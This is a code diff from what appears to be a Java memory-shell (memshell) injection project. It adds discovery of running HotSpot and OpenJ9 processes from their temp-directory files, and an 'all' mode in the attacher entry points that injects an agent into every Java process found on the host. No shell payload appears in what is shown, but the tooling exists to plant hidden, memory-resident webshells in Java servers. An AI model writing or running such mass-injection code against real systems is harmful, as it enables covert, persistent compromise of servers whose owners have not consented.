+            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
+            for (File attachDir : getAttachDirectories()) {
+                if (!attachDir.isDirectory()) {
+                    continue;
+                }
+                File[] vmDirs = attachDir.listFiles();
+                if (vmDirs == null) {
+                    continue;
+                }
+                for (File vmDir : vmDirs) {
+                    if (!vmDir.isDirectory()) {
+                        continue;
+                    }
+                    File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
+                    if (!attachInfo.isFile() || !attachInfo.canRead()) {
+                        continue;
+                    }
+                    FileInputStream fis = null;
+                    try {
+                        Properties props = new Properties();
+                        fis = new FileInputStream(attachInfo);
+                        props.load(fis);
+                        String pid = props.getProperty("processId");
+                        String displayName = props.getProperty("displayName", "");
+                        if (pid != null && pid.length() > 0) {
+                            result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
+                        }
+                    } catch (Exception ignored) {
+                        /* do nothing */
+                    } finally {
+                        if (fis != null) {
+                            try {
+                                fis.close();
+                            } catch (IOException ignored) {
+                                /* do nothing */
+                            }
+                        }
+                    }
+                }
+            }
+            return result;
+        }
+
+        /**
+         * Returns the list of directories to scan for OpenJ9 attach information.
+         * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
+         * and also {@code java.io.tmpdir} if it differs. Additionally checks the
+         * {@code com.ibm.tools.attach.directory} system property.
+         *
+         * @return A list of attach directories to scan.
+         */
+        private static List<File> getAttachDirectories() {
+            List<File> dirs = new ArrayList<File>();
+            String osName = System.getProperty("os.name", "");
+            if (osName.startsWith("Windows")) {
+                dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
+            } else {
+                dirs.add(new File("/tmp", ATTACH_DIR_NAME));
+                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
+                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
+                    dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
+                }
+            }
+            String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
+            if (ibmAttachDir != null) {
+                dirs.add(new File(ibmAttachDir));
+            }
+            return dirs;
+        }
+    }
 }

memshell-agent/memshell-agent-attacher/src/main/java/Main.java

@@ -1,9 +1,46 @@
+import java.util.List;
+
 /**
  * @author ReaJason
  * @since 2025/5/16
  */
 public class Main {
+    /**
+     * java -jar attach.jar — 列出所有 Java 进程
+     * java -jar attach.jar <pid> — 注入指定进程
+     * java -jar attach.jar all — 注入所有 Java 进程（自动跳过自身，单个失败不影响其他进程）
+     */
     public static void main(String[] args) throws Exception {
+        if (args.length == 0) {
+            List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
+            if (processes.isEmpty()) {
+                System.out.println("No Java processes found.");
+            } else {
+                for (Attacher.JavaProcessDescriptor process : processes) {
+                    System.out.println(process);
+                }
+            }
+        } else if ("all".equalsIgnoreCase(args[0])) {
+            List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
+            String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
+            if (processes.isEmpty()) {
+                System.out.println("No Java processes found.");
+            } else {
+                for (Attacher.JavaProcessDescriptor process : processes) {
+                    if (process.getPid().equals(currentPid)) {
+                        continue;
+                    }
+                    try {
+                        System.out.println("Attaching to " + process + " ...");
+                        Attacher.attach(process.getPid());
+                        System.out.println("  -> Success");
+                    } catch (Exception e) {
+                        System.out.println("  -> Failed: " + e.getMessage());
+                    }
+                }
+            }
+        } else {
             Attacher.attach(args[0]);
         }
     }
+}

packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java

@@ -15,6 +15,7 @@ package com.reajason.javaweb.packer.jar.attach;/*
  */
 
 import java.io.File;
+import java.io.FileInputStream;
 import java.io.IOException;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
@@ -22,13 +23,12 @@ import java.net.MalformedURLException;
 import java.net.URISyntaxException;
 import java.net.URL;
 import java.net.URLClassLoader;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
 import java.security.CodeSource;
 import java.security.PrivilegedAction;
 import java.security.ProtectionDomain;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
+import java.util.*;
 
 /**
  * Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -53,25 +53,55 @@ public class Attacher {
     }
 
     public static void main(String[] args) throws Exception {
+        if (args.length == 0) {
+            List<JavaProcessDescriptor> processes = listJavaProcesses();
+            if (processes.isEmpty()) {
+                System.out.println("No Java processes found.");
+            } else {
+                for (JavaProcessDescriptor process : processes) {
+                    System.out.println(process);
+                }
+            }
+        } else if ("all".equalsIgnoreCase(args[0])) {
+            List<JavaProcessDescriptor> processes = listJavaProcesses();
+            String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
+            if (processes.isEmpty()) {
+                System.out.println("No Java processes found.");
+            } else {
+                for (JavaProcessDescriptor process : processes) {
+                    if (process.getPid().equals(currentPid)) {
+                        continue;
+                    }
                     try {
-            Attacher.attach(args[0]);
+                        System.out.println("Attaching to " + process + " ...");
+                        doAttach(process.getPid());
+                        System.out.println("  -> Success");
                     } catch (Exception e) {
-            if (!e.getMessage().equals("0")) {
-                Throwable cause = e.getCause();
-                if (cause != null) {
-                    if (!cause.getMessage().equals("0")) {
-                        cause = e.getCause();
-                        if (cause != null) {
-                            if (!cause.getMessage().equals("0")) {
-                                throw e;
-                            }
-                        }
-                    }
+                        System.out.println("  -> Failed: " + e.getMessage());
+                        e.printStackTrace();
                     }
                 }
             }
+        } else {
+            doAttach(args[0]);
             System.out.println("ok");
         }
+    }
+
+    private static void doAttach(String processId) {
+        try {
+            Attacher.attach(processId);
+        } catch (Exception e) {
+            Throwable currentCause = e;
+            while (currentCause != null) {
+                if ("0".equals(currentCause.getMessage())) {
+                    return;
+                }
+                currentCause = currentCause.getCause();
+            }
+            throw (RuntimeException) e;
+        }
+    }
 
     /**
      * <p>
@@ -112,6 +142,30 @@ public class Attacher {
         install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
     }
 
+    /**
+     * <p>
+     * Lists all discoverable Java processes on the local host.
+     * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
+     * </p>
+     *
+     * @return A list of discovered Java process descriptors.
+     */
+    public static List<JavaProcessDescriptor> listJavaProcesses() {
+        List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
+        Set<String> seenPids = new HashSet<String>();
+        for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
+            if (seenPids.add(descriptor.getPid())) {
+                processes.add(descriptor);
+            }
+        }
+        for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
+            if (seenPids.add(descriptor.getPid())) {
+                processes.add(descriptor);
+            }
+        }
+        return processes;
+    }
+
     /**
      * Installs a Java agent on a target VM.
      *
@@ -949,4 +1003,300 @@ public class Attacher {
             }
         }
     }
+
+    /**
+     * Represents a discovered Java process on the local host.
+     */
+    public static class JavaProcessDescriptor {
+
+        private final String pid;
+        private final String mainClass;
+        private final String vmType;
+
+        public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
+            this.pid = pid;
+            this.mainClass = mainClass;
+            this.vmType = vmType;
+        }
+
+        public String getPid() {
+            return pid;
+        }
+
+        public String getMainClass() {
+            return mainClass;
+        }
+
+        public String getVmType() {
+            return vmType;
+        }
+
+        @Override
+        public String toString() {
+            StringBuilder sb = new StringBuilder();
+            sb.append(pid);
+            if (mainClass.length() > 0) {
+                sb.append(' ').append(mainClass);
+            }
+            sb.append(" (").append(vmType).append(')');
+            return sb.toString();
+        }
+    }
+
+    /**
+     * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
+     */
+    private static class HotSpotProcessDiscovery {
+
+        private static final int PERFDATA_MAGIC = 0xcafec0c0;
+        private static final String HSPERFDATA_PREFIX = "hsperfdata_";
+        private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
+        private static final byte UNITS_STRING = 5;
+        private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
+        private static final int MIN_PERFDATA_SIZE = 32;
+        private static final int ENTRY_HEADER_SIZE = 20;
+
+        static List<JavaProcessDescriptor> discover() {
+            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
+            Set<String> seen = new HashSet<String>();
+            for (File tmpDir : getTempDirectories()) {
+                if (!tmpDir.isDirectory()) {
+                    continue;
+                }
+                File[] userDirs = tmpDir.listFiles();
+                if (userDirs == null) {
+                    continue;
+                }
+                for (File userDir : userDirs) {
+                    if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
+                        continue;
+                    }
+                    File[] pidFiles = userDir.listFiles();
+                    if (pidFiles == null) {
+                        continue;
+                    }
+                    for (File pidFile : pidFiles) {
+                        String fileName = pidFile.getName();
+                        if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
+                            continue;
+                        }
+                        if (!seen.add(fileName)) {
+                            continue;
+                        }
+                        String javaCommand = parsePerfData(pidFile);
+                        result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
+                    }
+                }
+            }
+            return result;
+        }
+
+        private static List<File> getTempDirectories() {
+            List<File> dirs = new ArrayList<File>();
+            String osName = System.getProperty("os.name", "");
+            if (osName.startsWith("Windows")) {
+                dirs.add(new File(System.getProperty("java.io.tmpdir")));
+            } else {
+                dirs.add(new File("/tmp"));
+                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
+                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
+                    dirs.add(new File(javaIoTmpDir));
+                }
+            }
+            return dirs;
+        }
+
+        private static String parsePerfData(File file) {
+            FileInputStream fis = null;
+            try {
+                fis = new FileInputStream(file);
+                long fileLength = file.length();
+                if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
+                    return "";
+                }
+                byte[] data = new byte[(int) fileLength];
+                int totalRead = 0;
+                int bytesRead;
+                while (totalRead < data.length
+                        && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
+                    totalRead += bytesRead;
+                }
+                if (totalRead < MIN_PERFDATA_SIZE) {
+                    return "";
+                }
+
+                ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
+                buffer.order(ByteOrder.BIG_ENDIAN);
+                int magic = buffer.getInt();
+                if (magic != PERFDATA_MAGIC) {
+                    return "";
+                }
+
+                byte byteOrder = buffer.get();
+                if (byteOrder == 1) {
+                    buffer.order(ByteOrder.LITTLE_ENDIAN);
+                }
+
+                byte majorVersion = buffer.get();
+                buffer.get(); // minor version
+                buffer.get(); // accessible / reserved
+
+                if (majorVersion < 2) {
+                    return "";
+                }
+
+                buffer.getInt();  // used
+                buffer.getInt();  // overflow
+                buffer.getLong(); // mod_time_stamp
+                int entryOffset = buffer.getInt();
+                int numEntries = buffer.getInt();
+
+                int pos = entryOffset;
+                for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
+                    buffer.position(pos);
+                    int entryLength = buffer.getInt();
+                    if (entryLength <= 0 || pos + entryLength > totalRead) {
+                        break;
+                    }
+
+                    int nameOffset = buffer.getInt();
+                    buffer.getInt(); // vector_length
+                    buffer.get();    // data_type
+                    buffer.get();    // flags
+                    byte dataUnits = buffer.get();
+                    buffer.get();    // data_variability
+                    int dataOffset = buffer.getInt();
+
+                    int nameStart = pos + nameOffset;
+                    if (nameStart < 0 || nameStart >= totalRead) {
+                        pos += entryLength;
+                        continue;
+                    }
+                    int nameEnd = nameStart;
+                    while (nameEnd < totalRead && data[nameEnd] != 0) {
+                        nameEnd++;
+                    }
+                    String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
+
+                    if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
+                        int dataStart = pos + dataOffset;
+                        if (dataStart < 0 || dataStart >= totalRead) {
+                            return "";
+                        }
+                        int dataEnd = dataStart;
+                        while (dataEnd < totalRead && data[dataEnd] != 0) {
+                            dataEnd++;
+                        }
+                        return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
+                    }
+
+                    pos += entryLength;
+                }
+
+                return "";
+            } catch (Exception ignored) {
+                return "";
+            } finally {
+                if (fis != null) {
+                    try {
+                        fis.close();
+                    } catch (IOException ignored) {
+                        /* do nothing */
+                    }
+                }
+            }
+        }
+
+        private static boolean isNumeric(String str) {
+            if (str == null || str.isEmpty()) {
+                return false;
+            }
+            for (int i = 0; i < str.length(); i++) {
+                if (str.charAt(i) < '0' || str.charAt(i) > '9') {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        private static String extractMainClass(String javaCommand) {
+            if (javaCommand == null || javaCommand.isEmpty()) {
+                return "";
+            }
+            int spaceIndex = javaCommand.indexOf(' ');
+            return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
+        }
+    }
+
+    /**
+     * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
+     */
+    private static class OpenJ9ProcessDiscovery {
+
+        private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
+        private static final String ATTACH_INFO_FILE = "attachInfo";
+
+        static List<JavaProcessDescriptor> discover() {
+            List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
+            for (File attachDir : getAttachDirectories()) {
+                if (!attachDir.isDirectory()) {
+                    continue;
+                }
+                File[] vmDirs = attachDir.listFiles();
+                if (vmDirs == null) {
+                    continue;
+                }
+                for (File vmDir : vmDirs) {
+                    if (!vmDir.isDirectory()) {
+                        continue;
+                    }
+                    File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
+                    if (!attachInfo.isFile() || !attachInfo.canRead()) {
+                        continue;
+                    }
+                    FileInputStream fis = null;
+                    try {
+                        Properties props = new Properties();
+                        fis = new FileInputStream(attachInfo);
+                        props.load(fis);
+                        String pid = props.getProperty("processId");
+                        String displayName = props.getProperty("displayName", "");
+                        if (pid != null && pid.length() > 0) {
+                            result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
+                        }
+                    } catch (Exception ignored) {
+                        /* do nothing */
+                    } finally {
+                        if (fis != null) {
+                            try {
+                                fis.close();
+                            } catch (IOException ignored) {
+                                /* do nothing */
+                            }
+                        }
+                    }
+                }
+            }
+            return result;
+        }
+
+        private static List<File> getAttachDirectories() {
+            List<File> dirs = new ArrayList<File>();
+            String osName = System.getProperty("os.name", "");
+            if (osName.startsWith("Windows")) {
+                dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
+            } else {
+                dirs.add(new File("/tmp", ATTACH_DIR_NAME));
+                String javaIoTmpDir = System.getProperty("java.io.tmpdir");
+                if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
+                    dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
+                }
+            }
+            String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
+            if (ibmAttachDir != null) {
+                dirs.add(new File(ibmAttachDir));
+            }
+            return dirs;
+        }
+    }
 }